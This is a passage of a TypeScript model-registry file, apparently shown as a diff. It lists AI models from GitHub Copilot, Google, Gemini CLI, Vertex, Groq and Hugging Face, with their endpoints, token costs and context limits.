"Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", - }, - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.3-codex": { - id: "gpt-5.3-codex", - name: "GPT-5.3-Codex", - api: "openai-responses", - provider: "github-copilot", - baseUrl: "https://api.individual.githubcopilot.com", - headers: { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - "Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", - }, - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.4": { - id: "gpt-5.4", - name: "GPT-5.4", - api: "openai-responses", - provider: "github-copilot", - baseUrl: "https://api.individual.githubcopilot.com", - headers: { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - "Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", - }, - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.4-mini": { - id: "gpt-5.4-mini", - name: "GPT-5.4 Mini", - api: "openai-responses", - provider: "github-copilot", - baseUrl: "https://api.individual.githubcopilot.com", - headers: { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - "Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", - }, - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "grok-code-fast-1": { - id: "grok-code-fast-1", - name: "Grok Code Fast 1", - api: "openai-completions", - provider: "github-copilot", - baseUrl: "https://api.individual.githubcopilot.com", - headers: { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - "Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", - }, - compat: { - supportsStore: false, - supportsDeveloperRole: false, - supportsReasoningEffort: false, - }, - reasoning: true, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 64000, - } satisfies Model<"openai-completions">, - }, - google: { - "gemini-1.5-flash": { - id: "gemini-1.5-flash", - name: "Gemini 1.5 Flash", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.075, - output: 0.3, - cacheRead: 0.01875, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 8192, - } satisfies Model<"google-generative-ai">, - "gemini-1.5-flash-8b": { - id: "gemini-1.5-flash-8b", - name: "Gemini 1.5 Flash-8B", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.0375, - output: 0.15, - cacheRead: 0.01, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 8192, - } satisfies Model<"google-generative-ai">, - "gemini-1.5-pro": { - id: "gemini-1.5-pro", - name: "Gemini 1.5 Pro", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: false, - input: ["text", "image"], - cost: { - input: 1.25, - output: 5, - cacheRead: 0.3125, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 8192, - } satisfies Model<"google-generative-ai">, - "gemini-2.0-flash": { - id: "gemini-2.0-flash", - name: "Gemini 2.0 Flash", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.1, - output: 0.4, - cacheRead: 0.025, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 8192, - } satisfies Model<"google-generative-ai">, - "gemini-2.0-flash-lite": { - id: "gemini-2.0-flash-lite", - name: "Gemini 2.0 Flash Lite", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.075, - output: 0.3, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 8192, - } satisfies Model<"google-generative-ai">, - "gemini-2.5-flash": { - id: "gemini-2.5-flash", - name: "Gemini 2.5 Flash", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.3, - output: 2.5, - cacheRead: 0.075, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"google-generative-ai">, - "gemini-2.5-flash-lite": { - id: "gemini-2.5-flash-lite", - name: "Gemini 2.5 Flash Lite", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.1, - output: 0.4, - cacheRead: 0.025, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"google-generative-ai">, - "gemini-2.5-flash-lite-preview-06-17": { - id: "gemini-2.5-flash-lite-preview-06-17", - name: "Gemini 2.5 Flash Lite Preview 06-17", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.1, - output: 0.4, - cacheRead: 0.025, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"google-generative-ai">, - "gemini-2.5-flash-lite-preview-09-2025": { - id: "gemini-2.5-flash-lite-preview-09-2025", - name: "Gemini 2.5 Flash Lite Preview 09-25", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.1, - output: 0.4, - cacheRead: 0.025, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"google-generative-ai">, - "gemini-2.5-flash-preview-04-17": { - id: "gemini-2.5-flash-preview-04-17", - name: "Gemini 2.5 Flash Preview 04-17", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.15, - output: 0.6, - cacheRead: 0.0375, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"google-generative-ai">, - "gemini-2.5-flash-preview-05-20": { - id: "gemini-2.5-flash-preview-05-20", - name: "Gemini 2.5 Flash Preview 05-20", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.15, - output: 0.6, - cacheRead: 0.0375, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"google-generative-ai">, - "gemini-2.5-flash-preview-09-2025": { - id: "gemini-2.5-flash-preview-09-2025", - name: "Gemini 2.5 Flash Preview 09-25", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.3, - output: 2.5, - cacheRead: 0.075, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"google-generative-ai">, - "gemini-2.5-pro": { - id: "gemini-2.5-pro", - name: "Gemini 2.5 Pro", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.31, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"google-generative-ai">, - "gemini-2.5-pro-preview-05-06": { - id: "gemini-2.5-pro-preview-05-06", - name: "Gemini 2.5 Pro Preview 05-06", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.31, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"google-generative-ai">, - "gemini-2.5-pro-preview-06-05": { - id: "gemini-2.5-pro-preview-06-05", - name: "Gemini 2.5 Pro Preview 06-05", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.31, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"google-generative-ai">, - "gemini-3-flash-preview": { - id: "gemini-3-flash-preview", - name: "Gemini 3 Flash Preview", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.5, - output: 3, - cacheRead: 0.05, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"google-generative-ai">, - "gemini-3-pro-preview": { - id: "gemini-3-pro-preview", - name: "Gemini 3 Pro Preview", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2, - output: 12, - cacheRead: 0.2, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 64000, - } satisfies Model<"google-generative-ai">, - "gemini-3.1-flash-lite-preview": { - id: "gemini-3.1-flash-lite-preview", - name: "Gemini 3.1 Flash Lite Preview", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.25, - output: 1.5, - cacheRead: 0.025, - cacheWrite: 1, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"google-generative-ai">, - "gemini-3.1-pro-preview": { - id: "gemini-3.1-pro-preview", - name: "Gemini 3.1 Pro Preview", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2, - output: 12, - cacheRead: 0.2, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"google-generative-ai">, - "gemini-3.1-pro-preview-customtools": { - id: "gemini-3.1-pro-preview-customtools", - name: "Gemini 3.1 Pro Preview Custom Tools", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2, - output: 12, - cacheRead: 0.2, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"google-generative-ai">, - "gemini-flash-latest": { - id: "gemini-flash-latest", - name: "Gemini Flash Latest", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.3, - output: 2.5, - cacheRead: 0.075, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"google-generative-ai">, - "gemini-flash-lite-latest": { - id: "gemini-flash-lite-latest", - name: "Gemini Flash-Lite Latest", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.1, - output: 0.4, - cacheRead: 0.025, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"google-generative-ai">, - "gemini-live-2.5-flash": { - id: "gemini-live-2.5-flash", - name: "Gemini Live 2.5 Flash", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.5, - output: 2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 8000, - } satisfies Model<"google-generative-ai">, - "gemini-live-2.5-flash-preview-native-audio": { - id: "gemini-live-2.5-flash-preview-native-audio", - name: "Gemini Live 2.5 Flash Preview Native Audio", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: true, - input: ["text"], - cost: { - input: 0.5, - output: 2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 65536, - } satisfies Model<"google-generative-ai">, - "gemma-3-27b-it": { - id: "gemma-3-27b-it", - name: "Gemma 3 27B", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 8192, - } satisfies Model<"google-generative-ai">, - "gemma-4-26b-it": { - id: "gemma-4-26b-it", - name: "Gemma 4 26B", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 8192, - } satisfies Model<"google-generative-ai">, - "gemma-4-31b-it": { - id: "gemma-4-31b-it", - name: "Gemma 4 31B", - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 8192, - } satisfies Model<"google-generative-ai">, - }, - "google-gemini-cli": { - "gemini-2.5-flash": { - id: "gemini-2.5-flash", - name: "Gemini 2.5 Flash (Cloud Code Assist)", - api: "google-gemini-cli", - provider: "google-gemini-cli", - baseUrl: "https://cloudcode-pa.googleapis.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65535, - } satisfies Model<"google-gemini-cli">, - "gemini-2.5-flash-lite": { - id: "gemini-2.5-flash-lite", - name: "Gemini 2.5 Flash Lite (Cloud Code Assist)", - api: "google-gemini-cli", - provider: "google-gemini-cli", - baseUrl: "https://cloudcode-pa.googleapis.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 8192, - } satisfies Model<"google-gemini-cli">, - "gemini-2.5-pro": { - id: "gemini-2.5-pro", - name: "Gemini 2.5 Pro (Cloud Code Assist)", - api: "google-gemini-cli", - provider: "google-gemini-cli", - baseUrl: "https://cloudcode-pa.googleapis.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 2097152, - maxTokens: 65535, - } satisfies Model<"google-gemini-cli">, - "gemini-3-flash-preview": { - id: "gemini-3-flash-preview", - name: "Gemini 3 Flash Preview (Cloud Code Assist)", - api: "google-gemini-cli", - provider: "google-gemini-cli", - baseUrl: "https://cloudcode-pa.googleapis.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"google-gemini-cli">, - "gemini-3-pro-preview": { - id: "gemini-3-pro-preview", - name: "Gemini 3 Pro Preview (Cloud Code Assist)", - api: "google-gemini-cli", - provider: "google-gemini-cli", - baseUrl: "https://cloudcode-pa.googleapis.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 2097152, - maxTokens: 65536, - } satisfies Model<"google-gemini-cli">, - "gemini-3.1-flash-lite-preview": { - id: "gemini-3.1-flash-lite-preview", - name: "Gemini 3.1 Flash Lite Preview (Cloud Code Assist)", - api: "google-gemini-cli", - provider: "google-gemini-cli", - baseUrl: "https://cloudcode-pa.googleapis.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 32768, - } satisfies Model<"google-gemini-cli">, - "gemini-3.1-pro-preview": { - id: "gemini-3.1-pro-preview", - name: "Gemini 3.1 Pro Preview (Cloud Code Assist)", - api: "google-gemini-cli", - provider: "google-gemini-cli", - baseUrl: "https://cloudcode-pa.googleapis.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 2097152, - maxTokens: 65536, - } satisfies Model<"google-gemini-cli">, - }, - "google-vertex": { - "gemini-1.5-flash": { - id: "gemini-1.5-flash", - name: "Gemini 1.5 Flash (Vertex)", - api: "google-vertex", - provider: "google-vertex", - baseUrl: "https://{location}-aiplatform.googleapis.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.075, - output: 0.3, - cacheRead: 0.01875, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 8192, - } satisfies Model<"google-vertex">, - "gemini-1.5-flash-8b": { - id: "gemini-1.5-flash-8b", - name: "Gemini 1.5 Flash-8B (Vertex)", - api: "google-vertex", - provider: "google-vertex", - baseUrl: "https://{location}-aiplatform.googleapis.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.0375, - output: 0.15, - cacheRead: 0.01, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 8192, - } satisfies Model<"google-vertex">, - "gemini-1.5-pro": { - id: "gemini-1.5-pro", - name: "Gemini 1.5 Pro (Vertex)", - api: "google-vertex", - provider: "google-vertex", - baseUrl: "https://{location}-aiplatform.googleapis.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 1.25, - output: 5, - cacheRead: 0.3125, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 8192, - } satisfies Model<"google-vertex">, - "gemini-2.0-flash": { - id: "gemini-2.0-flash", - name: "Gemini 2.0 Flash (Vertex)", - api: "google-vertex", - provider: "google-vertex", - baseUrl: "https://{location}-aiplatform.googleapis.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.15, - output: 0.6, - cacheRead: 0.0375, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 8192, - } satisfies Model<"google-vertex">, - "gemini-2.0-flash-lite": { - id: "gemini-2.0-flash-lite", - name: "Gemini 2.0 Flash Lite (Vertex)", - api: "google-vertex", - provider: "google-vertex", - baseUrl: "https://{location}-aiplatform.googleapis.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.075, - output: 0.3, - cacheRead: 0.01875, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"google-vertex">, - "gemini-2.5-flash": { - id: "gemini-2.5-flash", - name: "Gemini 2.5 Flash (Vertex)", - api: "google-vertex", - provider: "google-vertex", - baseUrl: "https://{location}-aiplatform.googleapis.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.3, - output: 2.5, - cacheRead: 0.03, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"google-vertex">, - "gemini-2.5-flash-lite": { - id: "gemini-2.5-flash-lite", - name: "Gemini 2.5 Flash Lite (Vertex)", - api: "google-vertex", - provider: "google-vertex", - baseUrl: "https://{location}-aiplatform.googleapis.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.1, - output: 0.4, - cacheRead: 0.01, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"google-vertex">, - "gemini-2.5-flash-lite-preview-09-2025": { - id: "gemini-2.5-flash-lite-preview-09-2025", - name: "Gemini 2.5 Flash Lite Preview 09-25 (Vertex)", - api: "google-vertex", - provider: "google-vertex", - baseUrl: "https://{location}-aiplatform.googleapis.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.1, - output: 0.4, - cacheRead: 0.01, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"google-vertex">, - "gemini-2.5-pro": { - id: "gemini-2.5-pro", - name: "Gemini 2.5 Pro (Vertex)", - api: "google-vertex", - provider: "google-vertex", - baseUrl: "https://{location}-aiplatform.googleapis.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"google-vertex">, - "gemini-3-flash-preview": { - id: "gemini-3-flash-preview", - name: "Gemini 3 Flash Preview (Vertex)", - api: "google-vertex", - provider: "google-vertex", - baseUrl: "https://{location}-aiplatform.googleapis.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.5, - output: 3, - cacheRead: 0.05, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"google-vertex">, - "gemini-3-pro-preview": { - id: "gemini-3-pro-preview", - name: "Gemini 3 Pro Preview (Vertex)", - api: "google-vertex", - provider: "google-vertex", - baseUrl: "https://{location}-aiplatform.googleapis.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2, - output: 12, - cacheRead: 0.2, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 64000, - } satisfies Model<"google-vertex">, - "gemini-3.1-pro-preview": { - id: "gemini-3.1-pro-preview", - name: "Gemini 3.1 Pro Preview (Vertex)", - api: "google-vertex", - provider: "google-vertex", - baseUrl: "https://{location}-aiplatform.googleapis.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2, - output: 12, - cacheRead: 0.2, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"google-vertex">, - }, - groq: { - "deepseek-r1-distill-llama-70b": { - id: "deepseek-r1-distill-llama-70b", - name: "DeepSeek R1 Distill Llama 70B", - api: "openai-completions", - provider: "groq", - baseUrl: "https://api.groq.com/openai/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.75, - output: 0.99, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "gemma2-9b-it": { - id: "gemma2-9b-it", - name: "Gemma 2 9B", - api: "openai-completions", - provider: "groq", - baseUrl: "https://api.groq.com/openai/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.2, - output: 0.2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 8192, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "groq/compound": { - id: "groq/compound", - name: "Compound", - api: "openai-completions", - provider: "groq", - baseUrl: "https://api.groq.com/openai/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "groq/compound-mini": { - id: "groq/compound-mini", - name: "Compound Mini", - api: "openai-completions", - provider: "groq", - baseUrl: "https://api.groq.com/openai/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "llama-3.1-8b-instant": { - id: "llama-3.1-8b-instant", - name: "Llama 3.1 8B Instant", - api: "openai-completions", - provider: "groq", - baseUrl: "https://api.groq.com/openai/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.05, - output: 0.08, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "llama-3.3-70b-versatile": { - id: "llama-3.3-70b-versatile", - name: "Llama 3.3 70B Versatile", - api: "openai-completions", - provider: "groq", - baseUrl: "https://api.groq.com/openai/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.59, - output: 0.79, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "llama3-70b-8192": { - id: "llama3-70b-8192", - name: "Llama 3 70B", - api: "openai-completions", - provider: "groq", - baseUrl: "https://api.groq.com/openai/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.59, - output: 0.79, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 8192, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "llama3-8b-8192": { - id: "llama3-8b-8192", - name: "Llama 3 8B", - api: "openai-completions", - provider: "groq", - baseUrl: "https://api.groq.com/openai/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.05, - output: 0.08, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 8192, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "meta-llama/llama-4-maverick-17b-128e-instruct": { - id: "meta-llama/llama-4-maverick-17b-128e-instruct", - name: "Llama 4 Maverick 17B", - api: "openai-completions", - provider: "groq", - baseUrl: "https://api.groq.com/openai/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.2, - output: 0.6, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "meta-llama/llama-4-scout-17b-16e-instruct": { - id: "meta-llama/llama-4-scout-17b-16e-instruct", - name: "Llama 4 Scout 17B", - api: "openai-completions", - provider: "groq", - baseUrl: "https://api.groq.com/openai/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.11, - output: 0.34, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "mistral-saba-24b": { - id: "mistral-saba-24b", - name: "Mistral Saba 24B", - api: "openai-completions", - provider: "groq", - baseUrl: "https://api.groq.com/openai/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.79, - output: 0.79, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 32768, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "moonshotai/kimi-k2-instruct": { - id: "moonshotai/kimi-k2-instruct", - name: "Kimi K2 Instruct", - api: "openai-completions", - provider: "groq", - baseUrl: "https://api.groq.com/openai/v1", - reasoning: false, - input: ["text"], - cost: { - input: 1, - output: 3, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "moonshotai/kimi-k2-instruct-0905": { - id: "moonshotai/kimi-k2-instruct-0905", - name: "Kimi K2 Instruct 0905", - api: "openai-completions", - provider: "groq", - baseUrl: "https://api.groq.com/openai/v1", - reasoning: false, - input: ["text"], - cost: { - input: 1, - output: 3, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "openai/gpt-oss-120b": { - id: "openai/gpt-oss-120b", - name: "GPT OSS 120B", - api: "openai-completions", - provider: "groq", - baseUrl: "https://api.groq.com/openai/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.15, - output: 0.6, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "openai/gpt-oss-20b": { - id: "openai/gpt-oss-20b", - name: "GPT OSS 20B", - api: "openai-completions", - provider: "groq", - baseUrl: "https://api.groq.com/openai/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.075, - output: 0.3, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "openai/gpt-oss-safeguard-20b": { - id: "openai/gpt-oss-safeguard-20b", - name: "Safety GPT OSS 20B", - api: "openai-completions", - provider: "groq", - baseUrl: "https://api.groq.com/openai/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.075, - output: 0.3, - cacheRead: 0.037, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "qwen-qwq-32b": { - id: "qwen-qwq-32b", - name: "Qwen QwQ 32B", - api: "openai-completions", - provider: "groq", - baseUrl: "https://api.groq.com/openai/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.29, - output: 0.39, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "qwen/qwen3-32b": { - id: "qwen/qwen3-32b", - name: "Qwen3 32B", - api: "openai-completions", - provider: "groq", - baseUrl: "https://api.groq.com/openai/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.29, - output: 0.59, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 40960, - } satisfies Model<"openai-completions">, - }, - huggingface: { - "MiniMaxAI/MiniMax-M2.1": { - id: "MiniMaxAI/MiniMax-M2.1", - name: "MiniMax-M2.1", - api: "openai-completions", - provider: "huggingface", - baseUrl: "https://router.huggingface.co/v1", - compat: { supportsDeveloperRole: false }, - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 1.2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "MiniMaxAI/MiniMax-M2.5": { - id: "MiniMaxAI/MiniMax-M2.5", - name: "MiniMax-M2.5", - api: "openai-completions", - provider: "huggingface", - baseUrl: "https://router.huggingface.co/v1", - compat: { supportsDeveloperRole: false }, - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 1.2, - cacheRead: 0.03, - cacheWrite: 